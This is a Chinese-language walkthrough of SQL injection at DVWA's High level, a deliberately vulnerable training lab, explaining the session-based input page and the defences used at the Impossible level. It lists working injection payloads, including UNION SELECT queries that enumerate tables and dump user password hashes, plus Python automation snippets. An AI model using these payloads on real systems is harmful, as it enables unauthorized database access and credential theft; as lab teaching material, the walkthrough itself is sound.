High 的变化

DVWA High 的 SQL 注入与 Low/Medium 不同——输入页面和结果页面分开了

Low/Medium:  一个页面 — 上面输入框,下面结果
High:        两个页面 — Session 页面(输入 payload)→ 结果页面(看输出)

在 SQL Injection 主页面看到的是 “Click here to change your ID”,点击后弹出新页面输入 ID,Submit 后回到主页面看结果。

后端做了什么

High 的 PHP 源码逻辑:

// 结果页面(sqli.php):
if (isset($_SESSION['id'])) {
    $id = $_SESSION['id'];
    $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
    // 执行查询,显示结果
}

// 输入页面(sqli_session.php):
$_SESSION['id'] = $_POST['id'];

Payload 存在 PHP session 变量里,两个页面通过 $_SESSION['id'] 共享同一个值。SQL 语句本身没有任何变化——字符型注入,没有任何过滤。

注入流程

跟 Low 完全相同——字符型注入,' 闭合、# 注释。

第一步:确认注入点

输入:1' or '1'='1' #

返回全部五个用户。注入成功。

第二步到第六步:UNION SELECT 偷数据

每条 payload 在 “Change your ID” 页面输入:

# 猜列数
1' order by 2 #    → 正常 → 列数 = 2

# 确认显示位置
1' union select 1,2 #
  → First name: 1, Surname: 2(两列都可显示)

# 查库名
1' union select database(),2 #
  → dvwa

# 查表名
1' union select group_concat(table_name),2
  from information_schema.tables
  where table_schema=database() #
  → guestbook,users

# 脱裤
1' union select user,password from users #
user     | password
─────────┼──────────────────────────────────
admin    | 5f4dcc3b5aa765d61d8327deb882cf99
gordonb  | e99a18c428cb38d5f260853678922e03
1337     | 8d3533d75ae2c3966d7e0d4fcc69216b
pablo    | 0d107d09f5bbe40cade3de5c71e9e9b7
smithy   | 5f4dcc3b5aa765d61d8327deb882cf99

High 到底在考什么

不是防御强度——是应变能力。

分页 + session 传递的实质影响:

对手动注入:零影响

你只是在 “Change your ID” 页面输入 payload,眼睛移到结果页看输出。比 Low 多一次鼠标点击,但不影响任何注入逻辑。Payload 还是 1' or '1'='1' #,后端 SQL 还是 WHERE user_id = '$id'——什么都没变。

对自动化脚本:增加了一个步骤

Low/Medium 只需一个请求就拿到结果:

# Low:一条 GET 搞定
response = requests.get(url + "?id=" + payload)
data = parse_result(response)

High 需要两个请求串联:

# High:先 POST 存 payload,再 GET 读结果
session = requests.Session()
session.post(session_page, data={"id": payload})  # 第一步:存
response = session.get(result_page)                # 第二步:读
data = parse_result(response)

差异就是一行代码变三行。 对任何一个会写脚本的渗透测试工程师来说,这不构成障碍。但如果是只会用 sqlmap 默认参数的人,sqlmap 跑 DVWA High 可能需要加 --level=3 才能自动跟踪 session 跨页面——而很多人不知道这个参数,跑不出来就说"没漏洞"。

真正的防御应该是什么

Impossible 等级才会出现真正的防御:

// 参数化查询(预处理语句)
$stmt = $pdo->prepare("SELECT * FROM users WHERE user_id = :id");
$stmt->execute(['id' => $id]);

// 输入类型校验
if (!is_numeric($id)) { die("Invalid ID"); }

// 结果数量限制
if ($stmt->rowCount() > 1) { die("Too many results"); }

这些才是堵漏洞的墙。 High 的 “session 分页” 只是一层包装纸。


Low / Medium / High 三级对比

Low(1) Medium(2) High(3)
注入类型 字符型 数字型 字符型
后端 SQL WHERE id='1' WHERE id=1 WHERE id='1'
输入方式 文本框 下拉菜单 分页 + session
请求方式 GET POST POST(存 session)+ GET(显示)
后端防御 mysqli_real_escape_string() 无(仅 session 传递)
防御有效吗 ❌ 数字型不需要引号
手动注入难度 零(curl 绕前端) 零(多点一下鼠标)
自动化难度 一行 GET 一行 POST 三行——POST → GET 串联
Payload 1' or '1'='1' # 1 or 1=1 1' or '1'='1' #
关键教训 字符型三要素:闭合→注入→注释 转义函数对数字型无效 分页只挡简单脚本,不挡人

三级通关后的认知

  1. 注入类型是第一判断。 数字型不需要引号,字符型需要闭合+注释。这一步错了,后面全部白费。

  2. 三级防线的本质区别不在难度,在防御原理。 Low 没防,Medium 防了引号但对数字型无效,High 花了心思但分页跟安全没关系。

  3. 手工熟练后,自动化只是提速手段。 三级的 payload 模板一样——判断类型 → 猜列数 → UNION SELECT → 偷数据。不同的是请求怎么发(GET/POST/session),而不是 SQL 怎么写。

  4. DVWA 真正的挑战在 Impossible。 那是用参数化查询 + 类型校验 + 结果数量限制三重防线堵死的——没有绕过方案,因为它从根本上消除了注入的可能性。


上一篇:SQL 注入 Medium(2)